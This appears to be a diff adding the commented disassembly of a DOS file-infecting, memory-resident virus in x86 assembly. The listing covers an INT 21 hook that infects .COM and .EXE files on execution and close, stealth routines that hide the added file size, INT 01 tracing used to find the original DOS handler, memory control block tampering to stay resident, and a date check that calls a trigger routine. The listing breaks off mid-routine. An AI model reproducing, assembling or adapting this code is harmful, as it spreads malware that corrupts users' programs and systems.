+data_32 db 0FEh + db 3Ah +debug: push bp ;address is 0023 + mov bp,sp + push ax + cmp [bp+4],0C000h + jae loc_1_1 ; segment > C000 + mov ax,cs:data_68 + cmp [bp+4],ax + jna loc_1_1 +loc_1: pop ax + pop bp + iret ; Interrupt return +loc_1_1: cmp byte ptr cs:data_73,1 ; (CS:1250=0) + je loc_3 ; Jump if equal + mov ax,[bp+4] + mov word ptr cs:old_INT+2,ax ; (CS:122F=70h) + mov ax,[bp+2] + mov word ptr cs:old_INT,ax ; (CS:122D=0) + jc loc_2 ; Jump if carry Set + pop ax + pop bp + mov ss,cs:data_92 ; (CS:12DD=151Ch) + mov sp,cs:data_93 ; (CS:12DF=0) + mov al,cs:data_97 ; (CS:12E5=0) + out 21h,al ; port 21h, 8259-1 int comands + jmp loc_79 ; (0D40) +loc_2: + and word ptr [bp+6],0FEFFh + mov al,cs:data_97 ; (CS:12E5=0) + out 21h,al ; port 21h, 8259-1 int comands + jmp short loc_1 ; (0037) +loc_3: + dec cs:data_74 ; (CS:1251=0) + jnz loc_1 ; Jump if not zero + and word ptr [bp+6],0FEFFh + call sub_21 ; Save REGS in vir's stack + call sub_18 ; (0DBA) + lds dx,cs:old_INT_1 ; (CS:1231=0) Load 32 bit ptr + mov al,1 + call sub_27 ; Set INT 01 vector + call sub_20 ; Restore regs from vir's stack + jmp short loc_2 ; (0067) + + +; +; SUBROUTINE +; + +sub_1 proc near + push ds + push si + xor si,si ; Zero register + mov ds,si + xor ah,ah ; Zero register + mov si,ax + shl si,1 ; Shift w/zeros fill + shl si,1 ; Shift w/zeros fill + mov bx,[si] + mov es,[si+2] + pop si + pop ds + retn +sub_1 endp + +vir_1: mov cs:data_113,1600h ; (CS:135B=0) + mov cs:old_AX,ax ; (CS:12E3=0) + mov ah,30h + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + mov cs:dos_ver,al ; (CS:12EE=0) + mov cs:old_DS,ds ; (CS:1245=7DBDh) + mov ah,52h + int 21h ; DOS Services ah=function 52h + ; get DOS data table ptr es:bx + mov ax,es:[bx-2] + mov cs:data_68,ax ; (CS:1247=0) + mov es,ax + mov ax,es:[1] ; (5200:0001=0FFFFh) + mov cs:data_69,ax ; (CS:1249=0) + push cs + pop ds + mov al,1 + call sub_1 ; Get INT 01 vector + mov word ptr old_INT_1,bx ; (CS:1231=0) + mov word ptr old_INT_1+2,es ; (CS:1233=70h) + mov al,21h + call sub_1 ; Get INT 21 vector + mov word ptr old_INT,bx ; (CS:122D=0) + mov word ptr old_INT+2,es ; (CS:122F=70h) + mov byte ptr data_73,0 ; (CS:1250=0) + mov dx,offset debug + mov al,1 + call sub_27 ; Set INT 01 vector + pushf ; Push flags + pop ax + or ax,100h + push ax + in al,21h ; port 21h, 8259-1 int IMR + mov data_97,al ; (CS:12E5) + mov al,0FFh + out 21h,al ; port 21h, 8259-1 int comands + popf ; Pop flags + mov ah,52h + pushf ; Push flags + call dword ptr old_INT ; (CS:122D) + pushf ; Push flags + pop ax + and ax,0FEFFh + push ax + popf ; Pop flags + mov al,data_97 ; (CS:12E5=0) + out 21h,al ; port 21h, 8259-1 int comands + push ds + lds dx,old_INT_1 ; (CS:1231=0) Load 32 bit ptr + mov al,1 + call sub_27 ; Set INT 01 vector + pop ds + les di,old_INT ; (CS:122D=0) Load 32 bit ptr + mov word ptr ptr_INT_21,di ; (CS:1235=0) + mov word ptr ptr_INT_21+2,es ; (CS:1237=70h) + mov byte ptr data_70,0EAh ; (CS:124B=0) + mov data_71,offset INT_21 ; (CS:124C=0) (02CC) + mov data_72,cs ; (CS:124E=7DBDh) + call sub_18 ; (0DBA) + mov ax,4B00h + mov data_95,ah ; (CS:12E2=0) + mov dx,offset data_32 ; (CS:0021=0FEh) + push word ptr data_31 ; (CS:0020=0FE00h) + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + pop word ptr data_31 ; (CS:0020=0FE00h) + add word ptr es:[di-4],9 + nop + mov es,old_DS ; (CS:1245) + mov ds,old_DS ; (CS:1245) + sub word ptr ds:[2],161h ; decrement mem size + mov bp,word ptr ds:[2] ; mem size + mov dx,ds + sub bp,dx + mov ah,4Ah + mov bx,0FFFFh + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov ah,4Ah + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + dec dx + mov ds,dx + cmp byte ptr ds:[MCB_0000],5Ah ; (7DBC:0000=0E9h) 'Z' + je loc_4 ; Jump if equal + dec cs:data_95 ; (CS:12E2=0) +loc_4: + cmp byte ptr cs:data_95,0 ; (CS:12E2=0) + je loc_5 ; Jump if equal + mov byte ptr ds:[MCB_0000],4Dh ; (7DBC:0000=0E9h) 'M' +loc_5: + mov ax,ds:MCB_0003 ; (7DBC:0003=1503h) + mov bx,ax + sub ax,161h + add dx,ax + mov ds:MCB_0003,ax ; (7DBC:0003=1503h) + inc dx + mov es,dx + mov byte ptr es:MCB_0000,5Ah ; (915F:0000=0) 'Z' + push cs:data_69 ; (CS:1249=0) + pop word ptr es:MCB_0001 ; (915F:0001=0) + mov word ptr es:MCB_0003,160h ; (915F:0003=0) + inc dx + mov es,dx + push cs + pop ds + mov cx,all_len/2 + mov si,all_len-2 ; (CS:15FE=0) + mov di,si + std ; Set direction flag + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + cld ; Clear direction + push es + mov ax,offset loc_1EE + push ax + mov es,cs:old_DS ; (CS:1245=7DBDh) + mov ah,4Ah ; 'J' + mov bx,bp + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + retf ; Return far - jump to loc_1EE +loc_1EE: call sub_18 ; (0DBA) + mov cs:data_72,cs ; (CS:124E=7DBDh) + call sub_18 ; (0DBA) + push cs + pop ds + mov byte ptr data_76,14h ; (CS:12A2=0) + push cs + pop es + mov di,offset data_75 ; (CS:1252=0) + mov cx,14h + xor ax,ax ; Zero register + rep stosw ; Rep when cx >0 Store ax to es:[di] + mov data_103,al ; (CS:12EF=0) + mov ax,old_DS ; (CS:1245=7DBDh) + mov es,ax + lds dx,es:[0Ah] ; from offset 000A in PSP Load 32 bit ptr + mov ds,ax + add ax,10h + add word ptr cs:data_29+2,ax ; (CS:001A=1ED5h) + cmp byte ptr cs:data_31,0 ; (CS:0020=0) + jne loc_6 ; Jump if not equal +; restore infected .COM file and run it + sti ; Enable interrupts + mov ax,cs:data_23 ; (CS:0004=20CDh) + mov word ptr ds:[100h],ax ; (CS:0100=0E9Ah) + mov ax,cs:data_24 ; (CS:0006=340h) + mov word ptr ds:[102h],ax ; (CS:0102=589Ch) + mov ax,cs:data_25 ; (CS:0008=50C6h) + mov word ptr ds:[104h],ax ; (CS:0104=0Dh) + push cs:old_DS ; (CS:1245=7DBDh) + mov ax,100h + push ax + mov ax,cs:old_AX ; (CS:12E3=0) + retf ; Return far +loc_6: +; restore infected .EXE file and run it + add cs:data_27,ax ; (CS:0012=68Ch) + mov ax,cs:old_AX ; (CS:12E3=0) + mov ss,cs:data_27 ; (CS:0012=68Ch) + mov sp,cs:data_28 ; (CS:0014) original SP + sti ; Enable interrupts + jmp cs:data_29 ; (CS:0018=12Bh) +virus_entry: cmp sp,100h + ja loc_7 ; Jump if above + xor sp,sp ; Zero register +loc_7: + mov bp,ax + call sub_2 ; (0275) +sub_2: pop cx + sub cx,offset sub_2 + mov ax,cs + mov bx,10h + mul bx ; dx:ax = ax * 10 + add ax,cx ; cx = virus begin address + adc dx,0 + div bx ; ax,dx rem=dx:ax/10 + push ax ; ax = new segment + mov ax,offset vir_1 + push ax + mov ax,bp + retf ; Return far - jump to vir_1 + +table db 30h + dw offset _21_30 + db 23h + dw offset _21_23 + db 37h + dw offset _21_37 + db 4bh + dw offset _21_4B + db 3ch + dw offset _21_3C + db 3dh + dw offset _21_3D + db 3Eh + dw offset _21_3E + db 0Fh + dw offset _21_0F + db 14h + dw offset _21_14 + db 21h + dw offset _21_21 + db 27h + dw offset _21_27 + db 11h + dw offset _21_11_12 + db 12h + dw offset _21_11_12 + db 4Eh + dw offset _21_4E_4F + db 4Fh + dw offset _21_4E_4F + db 3Fh + dw offset _21_3F + db 40h + dw offset _21_40 + db 42h + dw offset _21_42 + db 57h + dw offset _21_57 + db 48h + dw offset _21_48 +end_tbl: +INT_21: cmp ax,4b00h + jnz loc_8_1 + mov cs:data_95,al +loc_8_1: push bp + mov bp,sp + push [bp+6] ; flags + pop cs:data_85 + pop bp ; ??? + push bp ; ??? + mov bp,sp + call sub_21 ; Save REGS in vir's stack + call sub_18 ; xchg info in INT 21 + call sub_15 ; BREAK = OFF + call sub_20 ; Restore regs from vir's stack + call sub_17 ; Save REGS + push bx + mov bx,offset table +loc_8: + cmp ah,cs:[bx] + jne loc_9 ; Jump if not equal + mov bx,cs:[bx+1] + xchg bx,[bp-14h] + cld ; Clear direction + retn +loc_9: + add bx,3 + cmp bx,offset end_tbl + jb loc_8 ; Jump if below + pop bx +loc_10: + call sub_16 ; Restore BREAK state + in al,21h ; port 21h, 8259-1 int IMR + mov cs:data_97,al ; (CS:12E5=0) + mov al,0FFh + out 21h,al ; port 21h, 8259-1 int comands + mov byte ptr cs:data_74,4 ; (CS:1251=0) + mov byte ptr cs:data_73,1 ; (CS:1250=0) + call sub_22 ; Set INT 01 for debuging + call sub_19 ; Restore REGS + push ax + mov ax,cs:data_85 ; (CS:12B3=0) + or ax,100h + push ax + popf ; Pop flags + pop ax + pop bp + jmp dword ptr cs:ptr_INT_21 ; (CS:1235=0) +loc_11: + call sub_21 ; Save REGS in vir's stack + call sub_16 ; (0D9B) + call sub_18 ; (0DBA) + call sub_20 ; Restore regs from vir's stack + pop bp + push bp + mov bp,sp + push cs:data_85 ; (CS:12B3=0) + pop word ptr [bp+6] + pop bp + iret ; Interrupt return +_21_11_12: call sub_19 ; Restore REGS + call sub_24 ; INT 21 + or al,al ; Zero ? + jnz loc_11 ; Jump if not zero + call sub_17 ; Save REGS + call sub_3 ; (0581) + mov al,0 + cmp byte ptr [bx],0FFh + jne loc_12 ; Jump if not equal + mov al,[bx+6] + add bx,7 +loc_12: + and cs:data_104,al ; (CS:12F0=0) + test byte ptr [bx+1Ah],80h + jz loc_13 ; Jump if zero + sub byte ptr [bx+1Ah],0C8h + cmp byte ptr cs:data_104,0 ; (CS:12F0=0) + jne loc_13 ; Jump if not equal + sub word ptr [bx+1Dh],1000h + sbb word ptr [bx+1Fh],0 +loc_13: + call sub_19 ; Restore REGS + jmp short loc_11 ; (033F) +_21_0F: call sub_19 ; Restore REGS + call sub_24 ; INT 21 + call sub_17 ; Save REGS + or al,al ; Zero ? + jnz loc_13 ; Jump if not zero + mov bx,dx + test byte ptr [bx+15h],80h + jz loc_13 ; Jump if zero + sub byte ptr [bx+15h],0C8h + sub word ptr [bx+10h],1000h + sbb byte ptr [bx+12h],0 + jmp short loc_13 ; (0396) +_21_27: jcxz loc_15 ; Jump if cx=0 +_21_21: mov bx,dx + mov si,[bx+21h] + or si,[bx+23h] + jnz loc_15 ; Jump if not zero + jmp short loc_14 ; (03D7) +_21_14: mov bx,dx + mov ax,[bx+0Ch] + or al,[bx+20h] + jnz loc_15 ; Jump if not zero +loc_14: + call sub_7 ; (0919) + jnc loc_16 ; Jump if carry=0 +loc_15: + jmp loc_10 ; (030F) +loc_16: + call sub_19 ; Restore REGS + call sub_17 ; Save REGS + call sub_24 ; INT 21 + mov [bp-4],ax + mov [bp-8],cx + push ds + push dx + call sub_3 ; (0581) + cmp word ptr [bx+14h],1 + je loc_17 ; Jump if equal + mov ax,[bx] + add ax,[bx+2] + add ax,[bx+4] + jz loc_17 ; Jump if zero + add sp,4 + jmp short loc_13 ; (0396) +loc_17: + pop dx + pop ds + mov si,dx + push cs + pop es + mov di,offset data_86 ; (CS:12B5=0) + mov cx,25h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov di,offset data_86 ; (CS:12B5=0) + push cs + pop ds + mov ax,[di+10h] + mov dx,[di+12h] + add ax,100Fh + adc dx,0 + and ax,0FFF0h + mov [di+10h],ax + mov [di+12h],dx + sub ax,0FFCh + sbb dx,0 + mov [di+21h],ax + mov [di+23h],dx + mov word ptr [di+0Eh],1 + mov cx,1Ch + mov dx,di + mov ah,27h ; ''' + call sub_24 ; INT 21 + jmp loc_13 ; (0396) +_21_23: push cs + pop es + mov si,dx + mov di,offset data_86 ; (CS:12B5=0) + mov cx,25h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push ds + push dx + push cs + pop ds + mov dx,offset data_86 ; CS:12B5 + mov ah,0Fh + call sub_24 ; INT 21 + mov ah,10h + call sub_24 ; INT 21 + test byte ptr data_89,80h ; (CS:12CA=0) + pop si + pop ds + jz loc_20 ; Jump if zero + les bx,cs:data_88 ; (CS:12C5=0) Load 32 bit ptr + mov ax,es + sub bx,1000h + sbb ax,0 + xor dx,dx ; Zero register + mov cx,cs:data_87 ; (CS:12C3=0) + dec cx + add bx,cx + adc ax,0 + inc cx + div cx ; ax,dx rem=dx:ax/reg + mov [si+23h],ax + xchg ax,dx + xchg ax,bx + div cx ; ax,dx rem=dx:ax/reg + mov [si+21h],ax + jmp loc_13 ; (0396) +_21_4E_4F: and cs:data_85,0FFFEh ; (CS:12B3=0) + call sub_19 ; Restore REGS + call sub_24 ; INT 21 + call sub_17 ; Save REGS + jnc loc_18 ; Jump if carry=0 + or cs:data_85,1 ; (CS:12B3=0) + jmp loc_13 ; (0396) +loc_18: + call sub_3 ; (0581) + test byte ptr [bx+19h],80h + jnz loc_19 ; Jump if not zero + jmp loc_13 ; (0396) +loc_19: + sub word ptr [bx+1Ah],1000h + sbb word ptr [bx+1Ch],0 + sub byte ptr [bx+19h],0C8h + jmp loc_13 ; (0396) +_21_3C: push cx + and cx,7 + cmp cx,7 + je loc_23 ; Jump if equal + pop cx + call sub_13 ; (0CC6) + call sub_24 ; INT 21 + call sub_14 ; (0D6C) + pushf ; Push flags + cmp byte ptr cs:data_90,0 ; (CS:12DA=0) + je loc_21 ; Jump if equal + popf ; Pop flags +loc_20: + jmp loc_10 ; (030F) +loc_21: + popf ; Pop flags + jc loc_22 ; Jump if carry Set + mov bx,ax + mov ah,3Eh ; '>' + call sub_24 ; INT 21 + jmp short _21_3D ; (0511) +loc_22: + or byte ptr cs:data_85,1 ; (CS:12B3=0) + mov [bp-4],ax + jmp loc_13 ; (0396) +loc_23: + pop cx + jmp loc_10 ; (030F) +_21_3D: + call sub_9 ; Get PSP segment + call sub_8 ; (0925) + jc loc_26 ; Jump if carry Set + cmp byte ptr cs:data_76,0 ; (CS:12A2=0) + je loc_26 ; Jump if equal + call sub_10 ; (097E) + cmp bx,0FFFFh + je loc_26 ; Jump if equal + dec cs:data_76 ; (CS:12A2=0) + push cs + pop es + mov di,offset data_75 ; (CS:1252=0) + mov cx,14h + xor ax,ax ; Zero register + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + mov ax,cs:data_77 ; (CS:12A3=0) + mov es:[di-2],ax + mov es:[di+26h],bx + mov [bp-4],bx +loc_25: + and byte ptr cs:data_85,0FEh ; (CS:12B3=0) + jmp loc_13 ; (0396) +loc_26: + jmp loc_10 ; (030F) +_21_3E: push cs + pop es + call sub_9 ; Get PSP segment + mov di,offset data_75 ; (CS:1252=0) + mov cx,14h + mov ax,cs:data_77 ; (CS:12A3=0) +loc_27: + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + jnz loc_28 ; Jump if not zero + cmp bx,es:[di+26h] + jne loc_27 ; Jump if not equal + mov word ptr es:[di-2],0 + call sub_4 ; (0793) - infect file + inc cs:data_76 ; (CS:12A2=0) + jmp short loc_25 ; (0549) +loc_28: + jmp loc_10 ; (030F) + +; +; SUBROUTINE +; + +sub_3 proc near + push es + mov ah,2Fh ; '/' + call sub_24 ; INT 21 + push es + pop ds + pop es + retn +sub_3 endp + +_21_4B: or al,al ; Zero ? + jz loc_29 ; Jump if zero + jmp loc_36 ; (06E0) +loc_29: + push ds + push dx + mov cs:prm_blck_adr,bx ; (CS:1224) save EXEC block offset + mov word ptr cs:prm_blck_adr+2,es ; (CS:1226) save EXEC block segment + lds si,dword ptr cs:prm_blck_adr ; (CS:1224) Load EXEC block address + mov di,offset exec_block ; (CS:12F1) + mov cx,0Eh + push cs + pop es + rep movsb ; Save EXEC param block + pop si + pop ds + mov di,offset file_name ; (CS:1307) + mov cx,50h + rep movsb ; Save file name + mov bx,0FFFFh + call sub_23 ; (0E3A) + call sub_19 ; Restore REGS + pop bp + pop cs:data_98 ; (CS:12E6=0) + pop cs:data_99 ; (CS:12E8=0) + pop cs:data_85 ; (CS:12B3=0) + mov ax,4B01h + push cs + pop es + mov bx,offset exec_block + pushf ; Push flags + call dword ptr cs:ptr_INT_21 ; (CS:1235=0) + jnc loc_30 ; Jump if carry=0 + or cs:data_85,1 ; (CS:12B3=0) + push cs:data_85 ; (CS:12B3=0) + push cs:data_99 ; (CS:12E8=0) + push cs:data_98 ; (CS:12E6=0) + push bp + mov bp,sp + les bx,dword ptr cs:prm_blck_adr ; (CS:1224=0) Load 32 bit ptr + jmp loc_11 ; (033F) +loc_30: + call sub_9 ; Get PSP segment + push cs + pop es + mov di,offset data_75 ; (CS:1252=0) + mov cx,14h +loc_31: + mov ax,cs:data_77 ; (CS:12A3=0) + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + jnz loc_32 ; Jump if not zero + mov word ptr es:[di-2],0 + inc cs:data_76 ; (CS:12A2=0) + jmp short loc_31 ; (060B) +loc_32: + lds si,cs:entry_point ; (CS:1303=0) Load 32 bit ptr + cmp si,1 ; already infected? + jne loc_33 ; Jump if not equal + mov dx,word ptr ds:data_29+2 ; (0000:001A) - original entry point segment + add dx,10h + mov ah,51h + call sub_24 ; INT 21 - get PSP segment + add dx,bx + mov word ptr cs:entry_point+2,dx ; (CS:1305=0) + push word ptr ds:data_29 ; (0000:0018) - original entry point offset + pop word ptr cs:entry_point ; (CS:1303=0) + add bx,10h + add bx,ds:data_27 ; (0000:0012) - original SS: + mov cs:data_107,bx ; (CS:1301=0) + push word ptr ds:data_28 ; (0000:0014) - original SP + pop cs:data_106 ; (CS:12FF=0) + jmp short loc_34 ; (067F) +loc_33: + mov ax,[si] + add ax,[si+2] + add ax,[si+4] + jz loc_35 ; Jump if zero + push cs + pop ds + mov dx,offset file_name + call sub_8 ; (0925) + call sub_10 ; (097E) + inc cs:data_103 ; (CS:12EF=0) + call sub_4 ; infect file + dec cs:data_103 ; (CS:12EF=0) +loc_34: + mov ah,51h + call sub_24 ; INT 21 + call sub_21 ; Save REGS in vir's stack + call sub_16 ; (0D9B) + call sub_18 ; (0DBA) + call sub_20 ; Restore REGS from vir's stack + mov ds,bx + mov es,bx + push cs:data_85 ; (CS:12B3=0) + push cs:data_99 ; (CS:12E8=0) + push cs:data_98 ; (CS:12E6=0) + pop word ptr ds:PSP_0A ; offset 0A in PSP + pop word ptr ds:PSP_0A+2 ; offset 0C in PSP + push ds + lds dx,dword ptr ds:PSP_0A ; offset 0A in PSP - terminate address + mov al,22h + call sub_27 ; Set INT 22 vector + pop ds + popf ; Pop flags + pop ax + mov ss,cs:data_107 ; (CS:1301=0) + mov sp,cs:data_106 ; (CS:12FF=0) + jmp dword ptr cs:entry_point ; (CS:1303=0) +loc_35: + mov bx,[si+1] + mov ax,ds:[bx+si+sav_file] ; (0000:FD9F) + mov [si],ax + mov ax,ds:[bx+si+sav_file+2] ; (0000:FDA1) + mov [si+2],ax + mov ax,ds:[bx+si+sav_file+4] ; (0000:FDA3) + mov [si+4],ax + jmp short loc_34 ; (067F) +loc_36: + cmp al,1 + je loc_37 ; Jump if equal + jmp loc_10 ; (030F) +loc_37: + or cs:data_85,1 ; (CS:12B3=0) + mov cs:prm_blck_adr,bx ; (CS:1224=0) + mov word ptr cs:prm_blck_adr+2,es ; (CS:1226=7DBDh) + call sub_19 ; Restore REGS + call sub_24 ; INT 21 + call sub_17 ; Save REGS + les bx,dword ptr cs:prm_blck_adr ; (CS:1224) Load EXEC param block address + lds si,dword ptr es:[bx+12h] ; Load CS:IP from EXEC parameter block + jc loc_40 ; Jump if carry Set + and byte ptr cs:data_85,0FEh ; (CS:12B3=0) + cmp si,1 ; infected .EXE ? + je loc_38 ; Jump if equal + mov ax,[si] + add ax,[si+2] + add ax,[si+4] + jnz loc_39 ; Jump if not zero + mov bx,[si+1] + mov ax,ds:[bx+si+sav_file] ; (013B:FD9F) saved original file + mov [si],ax + mov ax,ds:[bx+si+sav_file+2] ; (013B:FDA1) saved original file + mov [si+2],ax + mov ax,ds:[bx+si+sav_file+4] ; (013B:FDA3) saved original file + mov [si+4],ax + jmp short loc_39 ; (0765) +loc_38: + mov dx,word ptr ds:data_29+2 ; (013B:001A=2E09h) + call sub_9 ; Get PSP segment + mov cx,cs:data_77 ; (CS:12A3) - PSP segment + add cx,10h + add dx,cx + mov es:[bx+14h],dx + mov ax,word ptr ds:data_29 ; (013B:0018=7332h) + mov es:[bx+12h],ax + mov ax,ds:data_27 ; (013B:0012=2E08h) + add ax,cx + mov es:[bx+10h],ax + mov ax,ds:data_28 ; (013B:0014=3E80h) + mov es:[bx+0Eh],ax +loc_39: + call sub_9 ; Get PSP segment + mov ds,cs:data_77 ; (CS:12A3=0) + mov ax,[bp+2] + mov ds:PSP_0A,ax ; (0000:000A=0F000h) + mov ax,[bp+4] + mov word ptr ds:PSP_0A+2,ax ; (0000:000C=7F6h) +loc_40: + jmp loc_13 ; (0396) +_21_30: mov byte ptr cs:data_104,0 ; (CS:12F0=0) + mov ah,2Ah + call sub_24 ; INT 21 + cmp dx,916h + jb loc_41 ; Jump if below + call sub_28 ; (0FB2) +loc_41: + jmp loc_10 ; (030F) + +; +; SUBROUTINE - INFECTION +; + +sub_4 proc near + call sub_13 ; (0CC6) + call sub_5 ; (0855) + mov byte ptr data_31,1 ; (CS:0020=0) + cmp data_38,5A4Dh ; (CS:1200=0) + je loc_42 ; Jump if equal + cmp data_38,4D5Ah ; (CS:1200=0) + je loc_42 ; Jump if equal + dec byte ptr data_31 ; (CS:0020=0) + jz loc_45 ; Jump if zero +loc_42: +; .EXE file infect + mov ax,data_41 ; (CS:1204=0) + shl cx,1 ; Shift w/zeros fill + mul cx ; dx:ax = reg * ax + add ax,200h + cmp ax,si + jb loc_44 ; Jump if below + mov ax,data_43 ; (CS:120A=0) + or ax,data_44 ; (CS:120C=0) + jz loc_44 ; Jump if zero + mov ax,data_80 ; (CS:12A9=0) + mov dx,data_81 ; (CS:12AB=0) + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + or dx,dx ; Zero ? + jz loc_43 ; Jump if zero + inc ax +loc_43: + mov data_41,ax ; (CS:1204=0) + mov data_40,dx ; (CS:1202=0) + cmp data_48,1 ; (CS:1214=0) + je loc_46 ; Jump if equal + mov data_48,1 ; (CS:1214=0) + mov ax,si + sub ax,data_42 ; (CS:1208=0) + mov data_49,ax ; (CS:1216=0) + add data_41,8 ; (CS:1204=0) + mov data_45,ax ; (CS:120E=0) + mov data_46,1000h ; (CS:1210=0) BUG BUG BUG!!! + ; When .EXE file is infected, + ; the end of the virus wil be + ; damaged. (sp = 1000) + call sub_6 ; (08B3) +loc_44: + jmp short loc_46 ; (084C) +loc_45: +; .COM file infect + cmp si,0F00h ; file len in paragraphs + jae loc_46 ; Jump if above or = + mov ax,data_38 ; (CS:1200=0) + mov data_23,ax ; (CS:0004=20CDh) + add dx,ax + mov ax,data_40 ; (CS:1202=0) + mov data_24,ax ; (CS:0006=340h) + add dx,ax + mov ax,data_41 ; (CS:1204=0) + mov data_25,ax ; (CS:0008=50C6h) + add dx,ax + jz loc_46 ; Jump if zero - allready infected + mov cl,0E9h + mov byte ptr data_38,cl ; (CS:1200=0) + mov ax,10h + mul si ; dx:ax = reg * ax + add ax,265h + mov word ptr data_38+1,ax ; (CS:1201=0) + mov ax,data_38 ; (CS:1200=0) + add ax,data_40 ; (CS:1202=0) + neg ax + mov data_41,ax ; (CS:1204=0) + call sub_6 ; (08B3) +loc_46: + mov ah,3Eh ; '>' + call sub_24 ; INT 21 + call sub_14 ; (0D6C) + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + push cs + pop ds + mov ax,5700h + call sub_24 ; INT 21 + mov data_53,cx ; (CS:1229=0) + mov data_54,dx ; (CS:122B=0) + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov ah,3Fh ; '?' + mov cl,1Ch + mov dx,1200h + call sub_24 ; INT 21 + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov ah,3Fh ; '?' + mov cl,1Ch + mov dx,4 + call sub_24 ; INT 21 + mov ax,4202h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov data_80,ax ; (CS:12A9=0) + mov data_81,dx ; (CS:12AB=0) + mov di,ax + add ax,0Fh + adc dx,0 + and ax,0FFF0h + sub di,ax + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + mov si,ax + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov ah,40h + mov cl,1Ch + mov dx,1200h + call sub_24 ; INT 21 + mov ax,10h + mul si ; dx:ax = reg * ax + mov cx,dx + mov dx,ax + mov ax,4200h + call sub_24 ; INT 21 + xor dx,dx ; Zero register + mov cx,1000h + add cx,di + mov ah,40h + call sub_24 ; INT 21 + mov ax,5701h + mov cx,data_53 ; (CS:1229=0) + mov dx,data_54 ; (CS:122B=0) + test dh,80h + jnz loc_47 ; Jump if not zero + add dh,0C8h +loc_47: call sub_24 ; INT 21 + cmp byte ptr dos_ver,3 ; (CS:12EE=0) + jb loc_ret_48 ; Jump if below + cmp byte ptr data_103,0 ; (CS:12EF=0) + je loc_ret_48 ; Jump if equal + push bx + mov dl,data_52 ; (CS:1228=0) + mov ah,32h + call sub_24 ; INT 21 + mov ax,cs:data_101 ; (CS:12EC=0) + mov [bx+1Eh],ax + pop bx +loc_ret_48: + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + call sub_21 ; Save REGS in vir's stack + mov di,dx + add di,0Dh + push ds + pop es + jmp short loc_50 ; (0945) +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + call sub_21 ; Save REGS in vir's stack - save REGS + push ds + pop es + mov di,dx + mov cx,50h + xor ax,ax ; Zero register + mov bl,0 + cmp byte ptr [di+1],3Ah ; ':' + jne loc_49 ; Jump if not equal + mov bl,[di] + and bl,1Fh +loc_49: + mov cs:data_52,bl ; (CS:1228=0) + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al +loc_50: + mov ax,[di-3] + and ax,0DFDFh + add ah,al + mov al,[di-4] + and al,0DFh + add al,ah + mov byte ptr cs:data_31,0 ; (CS:0020=0) + cmp al,0DFh ; file name is ....COM + je loc_51 ; Jump if equal + inc byte ptr cs:data_31 ; (CS:0020=0) + cmp al,0E2h ; file name is ....EXE + jne loc_52 ; Jump if not equal +loc_51: + call sub_20 ; Restore regs from vir's stack + clc ; Clear carry flag + retn +loc_52: + call sub_20 ; Restore regs from vir's stack + stc ; Set carry flag + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push bx + mov ah,51h + call sub_24 ; INT 21 + mov cs:data_77,bx ; (CS:12A3=0) + pop bx + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + call sub_13 ; (0CC6) + push dx + mov dl,cs:data_52 ; (CS:1228=0) + mov ah,36h ; '6' + call sub_24 ; INT 21 + mul cx ; dx:ax = reg * ax + mul bx ; dx:ax = reg * ax + mov bx,dx + pop dx + or bx,bx ; Zero ? + jnz loc_53 ; Jump if not zero + cmp ax,4000h + jb loc_54 ; Jump if below +loc_53: + mov ax,4300h + call sub_24 ; INT 21 + jc loc_54 ; Jump if carry Set + mov di,cx + xor cx,cx ; Zero register + mov ax,4301h + call sub_24 ; INT 21 + cmp byte ptr cs:data_90,0 ; (CS:12DA=0) + jne loc_54 ; Jump if not equal + mov ax,3D02h + call sub_24 ; INT 21 + jc loc_54 ; Jump if carry Set + mov bx,ax + mov cx,di + mov ax,4301h + call sub_24 ; INT 21 + push bx + mov dl,cs:data_52 ; (CS:1228=0) + mov ah,32h ; '2' + call sub_24 ; INT 21 + mov ax,[bx+1Eh] + mov cs:data_101,ax ; (CS:12EC=0) + pop bx + call sub_14 ; (0D6C) + retn +loc_54: + xor bx,bx ; Zero register + dec bx + call sub_14 ; (0D6C) + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + push cx + push dx + push ax + mov ax,4400h + call sub_24 ; INT 21 + xor dl,80h + test dl,80h + jz loc_55 ; Jump if zero + mov ax,5700h + call sub_24 ; INT 21 + test dh,80h +loc_55: + pop ax + pop dx + pop cx + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + call sub_21 ; Save REGS in vir's stack + mov ax,4201h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_24 ; INT 21 + mov cs:data_78,ax ; (CS:12A5=0) + mov cs:data_79,dx ; (CS:12A7=0) + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_24 ; INT 21 + mov cs:data_80,ax ; (CS:12A9=0) + mov cs:data_81,dx ; (CS:12AB=0) + mov ax,4200h + mov dx,cs:data_78 ; (CS:12A5=0) + mov cx,cs:data_79 ; (CS:12A7=0) + call sub_24 ; INT 21 + call sub_20 ; Restore regs from vir's stack + retn +sub_12 endp + +_21_57: or al,al ; Zero ? + jnz loc_58 ; Jump if not zero 